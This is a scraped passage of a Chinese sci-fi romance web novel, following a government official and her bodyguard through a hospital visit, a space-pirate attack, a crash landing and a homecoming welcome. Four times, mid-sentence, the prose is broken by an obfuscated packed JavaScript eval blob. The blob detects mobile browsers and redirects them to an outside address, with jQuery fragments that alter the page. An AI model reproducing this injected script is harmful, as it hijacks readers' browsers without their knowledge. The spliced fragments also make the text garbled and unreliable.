百里寻安静了。这是宁以歌第一次以如此严厉的声调大声命令他,他死咬着后槽牙,暗沉的目光剐了一眼里奥,忍气吞声地退后一步。 里奥:“以歌,你可得看好他,我觉得他想咬我。” 宁以歌神色古怪地将目光在两个男人之间转了两个来回,最终看向里奥:“没事,里奥,他就是有点认生。你刚刚有什么事要跟我说来着?我们继续吧。” “之前袭击第十星的军队确定为是辰冕帝国三皇子麾下的,你知道的,辰冕帝国的老皇帝几度病危,他的四个孩子为了皇位打得头破血流,现在只剩下三皇子和四皇女还在角逐。”里奥从他带过来的一箱水果中取出两根香蕉,一根剥给宁以歌,一根自己吃,“联邦怀疑三皇子和联邦中的某些人背地里达成了合作关系,就比如,他帮联邦叛徒炸毁监狱,联邦叛徒帮他登上皇位这种交易。” 宁以歌沉默地思考片刻:“我听说,三皇子和四皇女的政见完全不同,三皇子是守卫圣魂教原始教义的宝剑派,四皇女是提倡革新圣魂教的权杖派。因此辰冕帝国内的圣魂教信徒也分裂成了两派势力,终日斗争不休。” “没错。”里奥咬了口香蕉,“正是因为这两个继承人的斗争正来到了白热化阶段,才不得不暂时停止攻打联邦第十二星,专注自家内斗去了。” 那么之前与辰冕帝国勾结泄露L85图纸的联邦叛徒极大可能就是投靠了三皇子的势力。 “我明白了。”宁以歌抬起头,“里奥,你是一个人来第九星看望我的吗?” 里奥吞下最后一口香蕉,回答:“还有尤思嘉。她一听说你受伤了说什么也要跟着我来第九星。正好有运输军用外骨骼的货运航船从首星到第九星,我们俩便搭上货运航船日夜兼程 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17263827|197319||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赶来了,你别说,这货运线还挺快,一晚上我们就到了。” 宁以歌的眼中泛起疑惑:“那她呢?” 里奥耸肩:“她一落地就崴了脚,这会应该在急症室吧。” 就在此时,病房门被护士打开了,一个满头凌乱金发的年轻女人甩开护士搀扶的手,一瘸一拐地冲进病房,身形不稳地栽在宁以歌的病床上,又迅速找回了平衡,站直身体,紧紧地拽起宁以歌的双手握在自己的手中,目光犹如扫描射线将宁以歌从头打量到尾,声音高昂而颤抖:“宁以歌,你是不是受伤了!” 宁以歌挤出一个微笑:“思嘉,我很好。” 尤思嘉置若罔闻,自顾自要扒宁以歌的衣服检查身体:“你伤哪儿了!” 宁以歌却没有生气,她耐心地掀起受伤处的衣服给尤思嘉看:“就是这儿,已经愈合了。” “那你现在感觉怎么样?”尤思嘉显然好几天没好好休息过,此时的她眼下乌青,又因为担心宁以歌而神经紧绷,盯着宁以歌的眼神都偏执到不正常。 “没什么特别的感觉,就是伤口愈合时正常的发热与瘙痒。” “那就好。”终于放下心的尤思嘉打了个哈欠,“你要是有什么好歹我也要跟着你去了。” “你说的跟殉情似的。”宁以歌也懒得维持笑容了,应付一惊一乍的尤思嘉令她疲惫无比,“你就是单纯害怕你的病人死了。” 尤思嘉还死死捏着宁以歌的手,眼神却已经心虚地飘忽不定:“这是什么话?我就是担心我朋友,难道我们不是朋友吗,宁以歌?” 不等宁以歌回答,尤思嘉就瘪着嘴一屁股坐在宁以歌的床边:“最近我的实验进展很不顺利,我简直怀疑我的职业生涯就要到头了,你要再出什么事,我人生的最后一缕阳光就彻底熄灭了!” “哪有这么严重,你又不止我一个病人。” 尤思嘉的眼睛转了转,正想反驳什么时,她总算注意到了不远处的陌生男人:“这人是谁?你的保镖?” “是。” 尤思嘉瞬间来了精神,她受伤的脚也奇迹般地不碍事了,立刻疾步来到百里寻的面前,前后左右打量一通:“这位小哥,你是什么精神体?精神体等级多少?有没有异能?” “他没有异能。” 尤思嘉眼中的盎然兴趣瞬间消散:“没意思。” 里奥终于忍不住喊护士把尤思嘉扶出病房:“思嘉,你先出去休息吧,你的脚还没好呢,我再跟以歌说两句话。” 确认宁以歌安然无恙的尤思嘉也没再坚持,在护士的搀扶下离开了。 病房中又只剩下宁以歌、百里寻和里奥。 里奥揉了揉太阳穴,“总算送走这祖宗了。” 他拎起一个白色的罐子,放在宁以歌的床头,而后打开盖子,里面竟然是热腾腾的鸡汤:“以歌,这是我妈让我带给你的,她让你该休息的时候就好好休息,别那么累。” 宁以歌的眼帘微垂,很轻地“嗯”了一声,而后说:“谢谢你们这么远还惦记着我。” “哪里的话。那你这边要是没什么事的话,我就先走了?”里奥的语气有些怨念,“要不是回去的货运航船下午就启航,我肯定要留下来送你。” 宁以歌对里奥微笑点头:“好。再见,里奥。” 病房重新恢复寂静。 百里寻似乎故意侧过头沉默地看向窗外不知名的地方,直到皑皑白雪刺痛了双眼,才终于狼狈地收回视线,与面无表情的宁以歌四目相对。 宁以歌抬起手冲他勾了勾。 “过来。” 25. 星盗 百里寻微垂着头,小步走到宁以歌的床边。他那黑色的头发因为匆忙脱换衣服没来得及打理,凌乱地贴在额前,和刚才尤思嘉的发型有着异曲同工之妙。 宁以歌沉默地看了他一会,然后说道:“我希望你在面对这些你不熟悉的人时能够时刻记住你作为保镖的身份,不要有逾矩的行为,相信你也不想被人发现马脚。” “我明白了。”百里寻的声音格外沉闷,宁以歌竟然听出了一丝沮丧,“抱歉,我是第一次当保镖,还有很多地方做得不够好,但今后我会努力改进,尽到我的职责。” 突如其来的真挚承诺反倒令宁以歌感到措手不及,她意外地抬眼,反复确认他眼中情绪的真假。 “是我的疏忽,才让对方有了可乘之机,你才会受伤……我差点以为,我的保镖生涯在第一个任务中就要黄了。”百里寻扯动嘴角,苦笑了下,“毕竟你才C级,我应该更小心的。” 他们还同校的时候,百里寻就常听说宁以歌受伤的消息,不是格斗课上骨折了,就是跑步时低血糖晕倒了,总之,但凡有点强度的运动,宁以歌总会发生意外。 偶然一次,百里寻路过医务室,就看见了围在医务室窗户前看热闹的学生,以及窗户那一边苍白而虚弱的宁以歌。 当时就有同学戏谑地说:“墨菲学院医务室一半的药品都是给宁以歌准备的。” 谁让她是学院里唯一一个脆弱的C级呢? 昨夜宁以歌倒在漫天白雪中,从她身上流淌出的鲜血浸透百里寻双手的时候,面前的女人与当年医务室中那个女孩的身影渐渐重叠。 他有那么一瞬间觉得她像一只注定无法越过冬天的蝴蝶,即使过去再绚丽多姿,也会因为刻在基因的先天诅咒在这个极寒的边境坠落在他的眼前。 宁以歌眉梢一动,措辞却依然那样疏离:“很高兴你有这样的觉悟,既然你已经明白这一点了,相信接下几个月我们的合作能更加顺利。” 百里寻却并没有介意宁以歌对自己的真挚承诺一副公事公办的态度,他的注意力其实一直在被某处吸引。 因为急救输血,宁以歌的手套被取了下来,洁白的病服长袖之下,那双手终于展露在百里寻的眼中。 果然如他料想一般指节修长的漂亮的手,只是虎口处隐约有些不知成因的薄茧。 令百里寻更在意的是宁以歌的左手腕处分明有几道浅浅的紫青色瘢痕犹如极细的根系从袖口探出了头,在她苍白的皮肤上格外扎眼。 注意到百里寻的目光,宁以歌把病服袖子往下拽了拽,冷淡的眼神毫不留情地打回了百里寻的好奇心。 百里寻只得移开视线。 而宁以歌没有对此做出任何解释,只是意味深长地警告他:“好奇心是会害死猫的。” 宁以歌其实已经恢复得差不多了,她掀开被子坐在病床边,慢条斯理地舀里奥带给她的鸡汤喝。她喝完一碗,又盛了一碗,抬手伸到站着的百里寻面前:“给你。里奥就带了一个碗,凑合用吧。” 百里寻愣了愣,他确实想喝,并且已经忍不住盯着飘香四溢的鸡汤看了半天,还无声地吞了口唾沫,可他并没有料到宁以歌真的给他盛了一碗。 用的还是同一个碗。 就在百里寻抿着唇接过鸡汤的时候,他听见宁以歌轻柔的声音:“还是辛苦你了。” 百里寻的视线猝不及防地与宁以歌带着淡淡笑意的双眼相撞,又连忙将视线躲藏回碗后。待他喝完将碗还给宁以歌,宁以歌又盛了一碗放在地上,百里寻的精神体阿金感受到了她无言的邀请,兴奋地现身,围着宁以歌转了一圈,才低头和未未凑在一起享用鸡汤。 “我知道昨天救我的事你也有份。”宁以歌揉了揉阿金的脑袋,阿金庞大的身躯曾将受伤的她圈在怀中为她取暖,“谢谢。” 阿金发出幸福的呼噜声,舔了舔宁以歌的手心。 宁以歌仰头看百里寻:“你也坐下来吧,即使是S级站那么久也会累的吧?” 百里寻坐在宁以歌的身边,二人望着窗外的漫天大雪,静默的病房中只剩下阿金舔碗的声音。 最终百里寻先开口:“你打算什么时候继续出发?” “明天一早。” “这么快?你很着急吗?都不多休息一会吗?” 宁以歌平静地回答:“在第九星夜长梦多,而且我再弱也没弱到这个程度。” 既然她已经这么说,百里寻也没有理由再劝:“好吧。” 宁以歌说完便取出关机了大半天的光脑,启动后不出意外地弹出无数信息。眼花缭乱的悬浮投影屏在宁以歌面前迅速翻动,宁以歌一一回复关心她情况的消息。回复完文字消息,宁以歌又挑选出部分未接语音通讯重新发起通讯,向重要的人报送平安的消息。 一边的百里寻神色复杂,即使远在第九星,还是有那么多人心系她的安危。 “关心你的人真多呀。”百里寻自嘲地说,“不像我,之前被拘留那会,除了家里人,谁都不敢私下联络我。” 宁以歌:“你这是在羡慕我吗?” 百里寻坦然承认:“是啊,我羡慕很多人。” “那是因为我还没有落到你的境地。”宁以歌说,“倘若有一天我也被抓起来了,这些人同样巴不得与我断干净。” “断干净?”百里寻意味不明地问,“是像你那天那样,删光我们之间的所有联络记录吗?” 宁以歌扭头看他:“百里寻,你挺记仇?” “这点小事用不着我记仇,我就是突然想起来了而已。” “有别的事值得你记仇?”宁以歌敏锐地捕捉到百里寻的言外之意,“能够被你记仇的一定是很棘手的人或者事吧?” 下一刻,宁以歌的声音直刺入百里寻的心底,疼得他眼皮一跳:“对方就是想杀你的人?” 百里寻别过脸:“我不知道。” 百里寻站了起来,突然语气冷淡地挡回宁以歌的试探:“与你无关。” 宁以歌却没有气恼,继续回复消息,好似完全不在意刚才与百里寻的对话。 百里寻以为宁以歌会生气,半天没等到她呛自己,反而主动转回头,莫名其妙地看宁以歌,宁部长却依然沉静地操作光脑处理事务,甚至又浏览起星际新闻。 此时百里寻才恍然意识到自己还是落了下风。 病房门的无声铃震动,有第九星警察局的警察拜访,要求宁以歌与百里寻配合刺杀案的调查录口供。 二人的口供都表示,是百里寻开枪打死了三个杀手,其中两个狙击手的尸体已经被带回了警察局进行尸检,可第三个杀手,也就是异能者的尸体却被雪蚕拖入了地下,如果不出宁以歌的所料,警方不花个一年半载是别想找到踪迹了。 次日临行前,警察们对宁以歌表示歉意,并说:“宁部长您放心,我们一定会尽快找到凶手的尸体,给此案一个结果。” 宁以歌嘴上说着期盼调查有所线索,实际上她对这三个杀手已经完全失去了兴趣。她清楚从这三具尸体上得不到幕后黑手的其他信息,如果真的找到了异能者的尸体反而会不利于她。 警察们将宁以歌与百里寻送上私人飞船,银色的小型飞船启动升空,百里寻驾驶着宁以歌的飞船 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17273808|197319||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,调整轨道,瞄准了航线终点的第十一星继续航行。 从第九星通往第十一星的航线极少有人通行,今天也只有宁以歌这一艘私人飞船使用这条航线。 飞船舷窗外浩瀚宇宙寂静无声,驾驶室中的两个人同样保持着默契的沉默,昨天不愉快的交谈之后,除了必要交流,他们之间突然无话可说了。 直到驾驶台的语音警报响起打破了宁以歌与百里寻之间僵持的气氛。 “警报!前方有不明身份中型飞船靠近!请启动警戒模式!” 随着语音警报,驾驶台上的屏幕的航线地图中出现了一个红点,红点正在加速逼近,看前进方向,正是冲着宁以歌的飞船来的。 虽然还没看见对面飞船的影子,百里寻就做出了判断:“不好,是星际海盗!” 宁以歌诧异道:“你怎么知道?” “我负责军火运输,在途中就碰上过几回星际海盗,所以很熟悉他们的行动风格。他们主要打劫军火、燃料和食物,像这种罕有人至的航线上的飞船就是他们打劫的首要目标。” “那应该怎么应对他们?” “怎么应对?”百里寻冷笑着重复宁以歌的问题,脸色骤然变换,语气紧张,“当然是逃啊!” 宁以歌一愣,反应过来,她立即接过飞船的驾驶权限,开启全手动模式,精细复杂的操作台浮现,宁以歌有条不紊地调整飞船航向与航速,试图尽快脱离既定轨道,绕行去第十一星。 正操作间,那艘不明飞船已经在他们的视野中渐渐显现出了轮廓,并且越来越清晰。 那是一艘暗灰色的中型民用货运飞船,飞船显然经过大面积改造,外部多了很多不符合原型号的装备和机械器件。 当看清飞船加装的器械后,百里寻神色一变:“宁以歌,我觉得我们还是投降吧。” 宁以歌语气坚决:“凭什么?我刚加满的燃料,难道都要便宜了他们?” 百里寻的力气出奇的大,他拉过宁以歌一直在操作的手,宁以歌连挣扎的机会的都没有。她被迫直视着百里寻的眼睛。 他指着屏幕中被放大的星盗飞船的局部图像说:“看见了没,这个是——妈呀!它伸过来了!” 看似普通的一只机械臂张开爪状的末端,机械爪的掌心遍布着宁以歌不了解的装置,她只看见这只机械爪填满了飞船的视野,一道白色的电流闪过,强电磁装置启动,宁以歌的飞船就这样瞬间吸附了上去动弹不得。 即使船舱里的宁以歌与百里寻做足了安全措施,将自己牢牢固定在座椅上,但在飞船的翻滚失控中他们还是被晃得头晕目眩。 飞船静止下来后,宁以歌差点吐出来,但她还是强忍着不适直起上身再次启动操作台。 可无论她再怎么操作,她的飞船就像一条被鱼叉贯穿身体的鱼,再无力挣脱。 成功捕捉到猎物的电磁爪折叠回去,将宁以歌的飞船整个拖进星盗飞船的阴影中。星盗飞船上又出现了一条伸缩通道,它对准了宁以歌飞船的舱门,如水蛭般扭了过来,扣住了舱门,又将宁以歌的飞船往跟前拖动了少许。 通道中响起巨大的噪音,紧接着私人飞船的舱门被强行卸下,一个五大三粗的中年女人肩扛着一把新式民用激光枪,带领着三五个手下走了进来。 她唾了一口,银色的激光枪在空中划出利落的半圆,枪口瞬间对准了将座位转过来面对他们的宁以歌和百里寻。 “打劫,不许动!” 百里寻立即举起了双手,余光看见宁以歌没有动,立即踢了她一脚,宁以歌狠狠剜了百里寻一眼,才咬牙举起双手。 26. 着陆 举着激光枪的女人如豺狼般盯着驾驶舱的两人,又命令道:“打开燃料舱,不然我就毙了你们!” 百里寻轻车熟路地安抚星盗们的情绪:“各位老大,我们两个就是普通人,什么都听你们的,可千万别开枪啊!除了燃料,我们后舱还有不少食物和水,你们可以随便拿。” 他又看向宁以歌:“傻愣着干什么?快打开燃料舱,小命要紧呀!” 宁以歌在女人的枪口下不情不愿地按下一个按钮,燃料舱一开启,连接着宁以歌飞船与星盗飞船的通道中又赶来几名星盗,直奔宁以歌飞船开在外侧的燃料舱,毫不费力地卸开了舱门,插上自制的燃料抽取机器。 眼见着那帮星盗要抽走全部的燃料,宁以歌终于沉不住气了:“我允许你使用异能。” 看守他们的星盗还没反应过来这句话的含义,就只感觉到手中的激光枪瞬间脱离了自己的控制,被稳稳地握在了对面男人的手里。 她身后的手下们立刻惊慌失措地纷纷抬起枪,他们使用的都是普通合金子弹头的枪械,子弹射出枪膛却纷纷静止在了空气中,而后如雨落下。就仿佛有一道看不见墙横亘在两方之间。 百里寻微动食指,一柄短刀从其中一名星盗身上飞出,如一条泥鳅钻入泥泞般毫无阻碍地洞穿了对方的身体,鲜血四溅,星盗倒地,旁边的星盗们才意识到了什么,可太晚了。 他们身上的所有含有金属构件的武器全部被百里寻牢牢掌控在了手中,跑得快的星盗已经惊慌失措地逃进了通道,而跑得慢的被百里寻一枪击中,哀嚎着在地上爬行,拖出了一条长长的血迹。 而正在飞船外忙着抽取燃料的星盗们听到了动静,瞬间变了脸色,没顾得上其他,扛着燃料抽取机器就往回跑。 一边跑着他们还一边大喊:“对方有异能者!对方有异能者!” 百里寻一脚把旁边地上挣扎的喽啰们踹回通道,举着激光枪对准为首的星盗,原话奉还:“滚回去!不然我就毙了你!” 星盗高举双手面对着百里寻缓步退回通道内,她不是异能者,完全不是百里寻的对手。 宁以歌在百里寻身后警告:“星盗中一定有没有出动的异能者,我们得快点走!” 星盗全部退回去之后,百里寻迅速抬枪破坏了通道与飞船舱门的链接点,通道断开,操作台前的宁以歌即刻合上舱门。 百里寻:“我还没问你呢,咱们飞船还被这块磁铁吸着,你怎么跑?” “炸了它。” 百里寻张大了嘴巴:“炸了它?” 宁以歌面色冷静到可怕,她没有表情地又发起了一个指令,程序启动,飞船上被紧紧吸在电磁爪上的探测装置忽然亮起了红灯,发出不寻常的嘀嘀嘀声。 百里寻:“这是……” 驾驶台的语音助手适时响起:“探测仪已启动自毁程序,倒计时,十、九、八……” “等会儿,”百里寻难以置信,“你在飞船的每个外置器件上都安装了自毁装置?” 宁以歌平静点头:“直接携带武器无法通过交通安检,但自毁装置可以。每个自毁装置相当于一个小型炸弹,虽然不足以造成多大威力,但产生的冲击波足够短暂破坏对方的电磁装置了。” 被挡在舱门外的通道里有增援的星盗正在赶来,显然被惹恼的星盗们更是启动了武器,将炮口瞄准了这艘小小的私人飞船,如果第二次再抢劫不成,他们势必要炸毁这艘飞船。 “……三、二、一——” 探测仪瞬间爆炸,这场小范围的爆炸虽然在真空的宇宙中寂静无声,但产生的冲力使对面的电磁爪爆出若干碎片,与此同时,宁以歌的飞船脱离了对方的控制,因为爆炸的余波在太空中摇晃着翻滚了几圈,最终在宁以歌的操作下堪堪稳住了身形,加速冲出了星盗的攻击范围。 被星盗打劫的时候,他们的飞船距离第十一星已经很近了,此时又以最高速度不要命地往目标星球冲去,不消片刻他们已即将进入第十一星的近地轨道。 百里寻头回体验到坐过山车的感觉,他为自己启动层层安全防护措施,将自己牢牢固定在座位上,惊恐地看着宁以歌眼神阴冷地操作飞船在宇宙中翻滚冲刺,即使已经接近近地轨道还是丝毫没有减速的迹象。 有那么一瞬间,百里寻觉得宁以歌变成了疯狂的赛车手,完全不顾自己和乘客的死活,只想用尽一切手段将赛车冲过终点线。 “宁以歌,你驾驶飞船的风格可真不要命。你现在应该减速!” 宁以歌沉沉地看了他一眼:“刚才的爆炸已经炸毁了小半个飞船,现在飞船的燃料剩余量也不足以支撑我们继续浪费时间了,我们必须现在就进入大气层准备着陆。” 宁以歌终于离开操作台靠回了椅背,启动防撞模式,防冲击的安全罩将她与百里寻拢住,她又说:“飞船的冷却装置也被破坏了,等我们进入大气层后外壳会被彻底烧毁,最终只剩下一个驾驶舱。” 飞船的语音助手在提醒:“飞船即将到达大气层……外部升温中,请将身体固定在座位上,保持情绪平稳与均匀呼吸。预计30分钟后着陆。” 宁以歌分出注意力,却发现百里寻格外紧张:“你很怕死?” 百里寻眼神怨念:“当然怕!我发现自从和你重逢就霉运缠身,一次又一次在生死线徘徊!” 他开始细数自己这些天来的倒霉经历:“先是被污蔑走私军火,差点蹲大牢。之后我因为怕死正要跑路时又莫名其妙被查到了行踪,明明只差一步我就能逃走了!再之后是被污蔑杀人叛国还是被送进了监狱,结果辰冕帝国的人来炸监狱……最后是现在,坐在不知道能不能安全穿过大气层的半截飞船里等待着陆。” 宁以歌听着听着,突然莫名其妙地笑了一下。 百里寻:“你笑什么?” 宁以歌却转移了话题:“没什么,你知道我的飞船的名字吗?” 百里寻成功被带跑了思路:“叫什么?” “凯旋号。”宁以歌说,“我妈妈给取的名字,因为她希望我每一次都能凯旋。” “嗯,是个好名字……但是为什么突然说这个?”百里寻在颠簸中的飞船中根本没有精力去思考这个问题。 “它的生命快到头了,你此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17282744|197319||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刻被保护在它生命最后的船舱里,记一下人家的名字不应该吗?” 百里寻:“?” 百里寻噎了半天,才嘟囔:“你可真够幽默。凯旋号却无法凯旋……” “你错了,”宁以歌沉静地转头望着百里寻,“只要我们俩平安着陆,就是凯旋。” 百里寻翻了个白眼:“我竟然一时间不知道是留在第十星监狱被炸死的结局更好,还是现在摔死的结局更好。” 宁以歌依然语气笃定地重复:“我们会平安着陆。” 剧烈的颠簸和足以吞没一切的噪音包裹住了整艘残破的飞船。在度秒如年的折磨中,百里寻紧闭上双眼无言抵抗着失重的恐惧。 即使穿过了大气层,降落伞在合适的时机打开,也没有减缓多少驾驶舱坠落的速度。被烧得焦黑的驾驶舱如黑色的流星划过晴日的天空,坠入第十一星的某处平原,砸出巨大的深坑,引发的地震惊动了附近村庄中的所有人。 驾驶舱里摔得七荤八素的百里寻挣扎着解开安全防护带,从倒挂着的座位上掉下来,脸上的□□不经意间被扯坏了,既然已经远离了首星,百里寻索性不装了,一把将破损的□□扯了下来。他确认宁以歌也没受伤后爬到了舱门,摸索着想掰开舱门的手动开关却失败了。 他只得吐出一口气,酝酿异能强行控制金属舱门用尽剩余的力气扳开了它。 舱门发出刺耳的声响,被百里寻扳开一条能够通行的缝隙,舱外的光芒与尘土顺着缝隙倾泻入舱内。 “我先出去看看情况?” 还在座位上的宁以歌不紧不慢地解开身上的防护带:“好,我马上来。” 百里寻灰头土脸地钻出舱门眯起眼睛,还没等他适应久违的光明,就看见周围站了无数层层叠叠的人影。 刹那间,百里寻心中警铃大作,倏地睁开眼睛,四周密密麻麻全是对着自己的枪口。 他条件反射举起双手后退一步,而后警惕而迅速打量面前的人们。 穿着朴素布衣的人们不分男女老少全都举着武器,其中绝大多数明显是自制或者捡来的旧型号枪械,没有枪的小孩就举着镰刀锄头菜刀一类冷兵器气势汹汹地对着百里寻挥舞。 在人群中还挤着乱七八糟各种各样的精神体,无论是素食动物杂食动物还是食肉动物,无不摆出进攻姿态,仿佛随时要扑上来将百里寻撕成碎片。 百里寻举起来的手小幅度摆动:“别误会!我们不是——” “宁希,外面怎么了?” 宁以歌从舱门后走了出来,看见眼前的景象愣住了。 周围原本全部死死盯着百里寻的人们也愣住了,他们瞬间默契地齐刷刷地将脸转向宁以歌。 世界安静了三秒,一个原本举着锄头的小女孩把锄头丢到了地上,第一个打破了寂静,激动地大喊道:“不是坏人,是宁姐姐!” 随着小女孩的大喊,人群涌动起来,高声叫着宁以歌的名字越过百里寻冲向宁以歌,把不明所以的百里寻往旁边撞得一踉跄。 被簇拥在人群中的宁以歌露出了灿烂的笑容:“是的,我回来了。” 27. 归家 第十一星四季分明,星球表面90%以上是海洋,星球上的人民主要以农业为生,其中又以种植业与渔业见长。但由于可利用土地面积有限、频发的天灾以及偏远的位置,又因为近些年涌入的来自第十二星的大量难民,作物产量只能差不多自给自足,难以形成向其他行星市场输出的稳定的产业链。 第十一星陆地上的人类居住区又依据种植业与渔业划分为两个东、西大区,每个居住区内都包含了无数村镇。 万幸的是,宁以歌的飞船正巧坠落在第十一星最大面积的荒原上,此处土地贫瘠,黄沙漫天,附近村落和居民都很稀少,所以并没有造成多少财产损失。 这些围堵宁以歌飞船的人正是最近的村落中的居民,他们被地震惊动,以为是什么不法分子偷渡到此处,却没想到他们看见了一个他们再熟悉不过的女人从舱里爬了出来。 放眼整个第十一星,几乎没有人不认识宁以歌,即使没见过她,宁以歌也总会成为第十一星居民在日常闲聊中难以回避的话题。 第十一星常住人口数量在两千万左右,其中拥有B级及以上精神体的居民大多会通过各种途径前往更为繁华先进的第四星、第二星甚至首星生活发展。 仍然留守在这里生活的基本都是C级乃至于D级精神体拥有者,他们没有背景,身体脆弱,耐力较差,还因为边境星球的出身受尽歧视,走出去真正出人头地对于他们来说无异于登天。 可宁以歌居然做到了,她成为第十一星有史以来第一个以C级精神体拥有者的身份踏入联邦政府机关任职的人,还身居要职,是十一星百姓眼中当之无愧的骄傲。 见到第十一星的骄傲衣锦还乡,人们兴奋地争先恐后地围上去嘘寒问暖,不知道是谁挺身而出维持秩序:“大家别吵吵了!没看见宁部长的飞船出了事故吗?她现在一定很需要休息,大家谁有车?快带她回去休息休息!再叫医生来给她检查身体!” “对对对!宁女士,不对,宁部长!我骑着摩托车来的,您坐我后座吧!” “你一边去!宁部长,我有三轮电车,遮风挡雨,比他那个破摩托好多了!” …… 已然被人群遗忘了个干净的百里寻站在一边,失神地望着回应着殷勤的人们的宁以歌,一踏上第十一星的土地,她就变了,仿佛瞬间解除了所有紧绷的神经,变成了一个百里寻从未见过的温柔的普通女子。 不,能得到这么多人爱戴的她并不普通。 不普通的宁以歌随着人们积极提议她选择座驾的时候抬起头看向百里寻的方向,这时人们才想起来这边还有一个和宁以歌同行的陌生人。 “他是我的远房表亲,宁希。我得和他一起走,坐不了摩托车。”宁以歌笑着回答,“就坐你的三轮吧。” 人们才对百里寻流露出无限友善:“原来是宁部长的亲戚!” 百里寻挤出一个笑容:“你们好。” 三轮电车车主得到宁以歌的青睐,兴奋地拉过还傻站在原地的百里寻,领着宁以歌往自己停在不远处的三轮走去。 车主收起她挂在身上的猎枪,拉开明显是后期加装的铁皮车篷上的门,拉着二人进车,而后钻进驾驶座,插进车钥匙,启动了小三轮。 身形高大的百里寻屈着长腿挤在狭窄的小三轮座位中,看起来不自在极了。 宁以歌问百里寻:“现在这种车在首星只会出现在网络上,你是不是第一次坐这种车?” 百里寻沉默了一下:“并不是第一次。” 宁以歌有点意外:“你来过第十一星?” “来过一次。”百里寻声音含糊,不是特别想回答这个问题的模样。 介于他们俩刚刚才经历了一场凶险的事故,宁以歌善心大发,没有追问下去,而百里寻侧过脸,在颠簸的路程中无言地打量着窗外的景色。 车主热情地跟宁以歌搭话:“不知道宁部长还记得吗?这里是秋林村,您三年前来过这里考察,说我们这里种植的星落果很好吃,鼓励我们在黄土上开垦田地种植星落果。不瞒您说,因为星落果只有第十一星能够种植,一年前就有来自首星的商家提出要和我们合作,高价收购我们生产的星落果。虽然产量很少,但至少赚了一笔不小的钱,我才能够从二轮换三轮。” “真的吗?再加把劲,未来说不定你也能开上和首星那些人一样的四轮飞车。” “您可别哄我了!”话虽如此,车主还是笑得眯起了眼睛,“差点忘了自我介绍,我叫阿初。宁部长这次是要回家吧?你们回我家吃个饭顺便换套干净衣服,我们就派有四轮车的青雨家开车送你们去夏芒镇。青雨自学机械技术,把他们家的车改装了个面目全非,甚至能够离地一米高飞行,速度可快了!” 宁以歌点头:“好,实在是太感谢你们了。” “宁部长哪里的话,能帮上您我们都很高兴!” 说话间,三轮车驶入了秋林村,村医收到了消息,早就等在了阿初家边上,等车上的乘客下来就当即为他们进行身体检查。幸好,宁以歌和百里寻都并没有大碍,只是需要短暂休整。 一进阿初家,百里寻只是略一打量就愣住了,客厅的墙上赫然张贴着宁以歌的照片。 顺着百里寻的目光看去,宁以歌也微微一怔,但总体来说她没有百里寻那样意外。 阿初的妹妹从里屋跑出来,小女孩八九岁上下,机灵的眼睛打量着来客:“姐姐带客人回来了?” 阿初赶忙将宁以歌拉过来:“是呀,你瞧,这位就是你的偶像,宁以歌女士!” 小女孩骤然瞪大眼睛,语无伦次:“去首星工作的宁以歌?照片里的宁以歌?是你吗?” 她取下墙上的照片,不断比对着照片和面前的人:“天啊……” 宁以歌俯下身,笑眯眯地回答:“对,就是我。” “宁、宁女士,你好,我是阿苗。”小女孩双眼含着热泪,学着网上学习的社交礼仪和宁以歌握手,“虽然我还没有觉醒精神体……但我梦想以后也和你一样,做个能够改变大家生活的强大的人!” 她难过地低下头:“我就是害怕万一我是D级……” “就算是D级也没关系,精神体不应该成为我们梦想的束缚。你看,所有人都觉得C级精神力的我无法胜任联邦副部长,可我还是做到了。”宁以歌蹲下身,揉了揉女孩的头,“我等着你成长为你想要成为的人。” 未未也出现在宁以歌脚边,用柔软的羊毛蹭了蹭阿苗的脸。 阿苗开心地笑了起来,她又从房间拿出了自己珍藏的水果和各种零食,递给宁以歌和百里寻。为了不辜负阿苗的好意,宁以歌和百里寻各选了一粒水果糖放进嘴里。 不多时,阿初阿苗姐妹俩的父母也回来了,他们夫妻原本坐着阿初的三轮一起赶去对付外来者,现在让出了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17291227|197319||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 